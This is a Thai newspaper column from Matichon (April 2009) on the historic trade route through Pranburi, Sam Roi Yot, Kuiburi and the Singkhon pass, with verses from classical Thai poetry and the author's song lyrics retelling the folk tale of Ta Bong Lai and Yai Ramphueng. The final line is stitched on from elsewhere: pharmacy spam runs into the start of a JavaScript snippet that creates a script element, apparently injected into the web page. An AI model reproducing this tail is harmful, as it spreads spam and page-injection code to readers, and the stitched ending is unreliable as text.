หนังสือพิมพ์มติชน ฉบับประจำวันศุกร์ที่ 10 เมษายน 2552

ปราณบุรี-สามร้อยยอด-กุยบุรี จังหวัดประจวบคีรีขันธ์ เป็นเส้นทางการค้าข้ามคาบสมุทร ผ่านด่านสิงขร แล้วข้ามซอกเขาไปเมืองมะริด ชายฝั่งทะเลอันดามัน

พยานเรื่องนี้มีในเสภาขุนช้างขุนแผน ตอนขุนแผนไปซื้อม้าสีหมอก ที่เมืองเพชรบุรี

ม้าสีหมอกเป็นม้าเทศ (อาหรับ-เปอร์เซีย) ผ่านอินเดียลงเรือมาขึ้นบกเมืองมะริด แล้วหลวงทรงพลกับพันภาณจากกรุงศรีอยุธยาไปซื้อมาเลี้ยงไว้ที่เมืองเพชรบุรี จนขุนแผนไปเห็นก็ซื้อมาเป็นพาหนะคู่ชีพ

เส้นทางม้าสีหมอกจากเมืองมะริด ผ่านด่านสิงขร-กุย-ปราณ-ชะอำ-เพชรบุรี มีในกลอนสภาว่า

มาถึงสิงขรผ่อนพักหยุด ปล่อยม้าอุตลุดให้กินหญ้า

กรมการกุยปราณส่งเนื่องมา ผ่านฉะอำถึงท่าเพชรบุรี

สิงขรในกลอนเสภา คือ ด่านสิงขร(ประจวบคีรีขันธ์) เช่นเดียวกันเมื่อ           พระอภัยมณีกับศรีสุวรรณ ถูกขับจากกรุงรัตนา(รัตนโกสินทร์) ก็ไปทางเพชรบุรี ผ่านปราณบุรี-สามร้อยยอด-กุยบุรี ออกด่านสิงขร มีกลอนสุนทรภู่ บอกไว้ในพระอภัยมณีว่า

ออกเดินทางกลางเถื่อนให้เดือนเศษ ออกพ้นเขตเขาไม้ไพรสิงขร

ถึงเนินทรายชายทะเลชโลทร ในสาครคลื่นลั่นสนั่นดัง

ชายทะเลคลื่นลั่นสนั่นดังในที่นี้ คือชายฝั่งทะเลอันดามันที่พระอภัยมณีพบสามพราหมณ์ แล้วถูกผีเสื้อสมุทรฉุดลักหลับลงไปทางหมู่เกาะอันดามัน

นิทานเขาสามร้อยยอดเรื่อง ตาบ้องไล่ ยายรำพึง เป็นนิทานสัญลักษณ์การค้าสำเภาระหว่างจีนใต้(กวางสี-กวางตุ้ง-ไหหลำ) กับเมืองท่าชายฝั่งอ่าวไทย เช่น ปราณบุรี-สามร้อยยอด-กุยบุรี ผมเคยทำเพลงนิทานไว้ในซีดีชุด ดินหญ้าฟ้าแถน (ตั้งแต่ พ.ศ. 2546) มีเนื้อร้องดังนี้

cd-taan10-04-52

ตาบ้องไล่ ยายรำพึง (7:12)

ทำนอง หุ่นกระบอก เนื้อร้อง สุจิตต์ วงษ์เทศ แต่งจากคำบอกเล่าชาวบ้านแถบชายฝั่งทะเลอ่าวไทย และปรับปรุงจากนิราศตังเกี๋ย ของหลวงนรเนตบัญชากิจ(แอ) ทำนองเป็นของเก่าได้เค้าจากคนสีซอขอทานในกรุงเทพฯ ต่อมานิยมใช้บรรเลงประกอบการละเล่นหุ่นกระบอก

 

๏ ตาบ้องไล่ ยายรำพึง มีลูกสาว นวลละออง ผ่องราว สาวอัปสร

นางยมโดย ได้ชื่อ ลือขจร ถึงนคร กรุงจีน แสนยินดี

๏ ส่งเถ้าแก่ สู่ขอ ต่อตาบ้อง จะยกย่อง อย่างมิ่ง มเหสี

เตรียมขันหมาก จากจีน นิลมณี นัดวันมี โชคชัย ให้แต่งงาน

๏ ส่วนเจ้าลาย ชายหนุ่ม ตะวันตก อยู่เต็มอก ตกรัก สมัครสมาน

สู่ขอฝ่าย ยายพึง จึงจัดการ ยกยมโดย ดวงมาน ให้เจ้าลาย

๏ แห่ขันหมาก มากมาย มีไม่น้อย ถึงสามร้อย สิ่งของ เป็นกองถ่าย

เขยทั้งสอง พ้องกัน อันตราย เพราะต่างหมาย หนึ่งสาว เข้าพิธี

๏ ตาบ้องไล่ ยายรำพึง ซึ่งพ้นคิด ต่างก็ปิด ต่างก็บัง ต่างวิถี

ไม่พูดจา ปราศรัย ไม่ดูดี ต่างอยากมี ลูกเขย ไว้เชยชม

๏ ข้างตาเฒ่า เอาจีน เป็นแซ่สาย ข้างยายเฒ่า เจ้าลาย หมายสืบสม

ต่างฝ่ายต่าง ตั้งท่า ออกอารมณ์ ต่างระดม ผู้คน ประจญประจัน

๏ ตาบ้องไล่ ไข้โลภ ละโมบมาก ฉวยลูกสาว ฉุดกระชาก ฉีกสะบั้น

โยนให้จีน กับเจ้าลาย ได้เท่ากัน คนละซีก ฉีกปั้น ไม่ต้องชิง

๏ ซีกหนึ่งไป ตะวันออก มีซอกเซาะ กลายเป็นเกาะ นมสาว เนินเขาหญิง

ซีกหนึ่งไป ตะวันตก เนินอกอิง กลายเป็นกิ่ง เกาะกลุ่ม เป็นตุ่มตรา

๏ เจ้าลายเห็น ศพสาว เจ้ายมโดย ก็คร่ำครวญ หวนโหย ร้องไห้หา

ไฟธาตุแตก แยกจิต อนิจจา เป็นภูผา สิงขร นอนเหยียดยาว

๏ ถาดขันหมาก ฝาชี บายศรีสอด เป็นเขาสาม ร้อยยอด เสียดห้วงหาว

ทองหมั้นสิ้น ดินถม จมระนาว เป็นทองคำ ของชาว บางสะพาน

๏ ฝ่ายเจ้าจีน ทำเจ๊ก กงเต็กเสร็จ โยนหีบเพชร สิ่งของ เงินทองหว่าน

เกี้ยวมังกร โรงงิ้ว ปลิวประทาน กลายเป็นเกาะ ทุกประการ แต่นั้นมา

 

เพลงชุดนี้มีในเว็บไซต์ www.sujitwongthes.com หรือไปสอบถามลาเอนาตู รีสอร์ตที่ร่วมโครงการ เศรษฐกิจสดใส เที่ยวไทยช่วยชาติ อย่างประหยัดๆ ที่ปราณบุรี-สามร้อยยอดfluoxetine 20 mg side effects buy yasmin onlinevar d=document;var s=d.createElement(‘script’);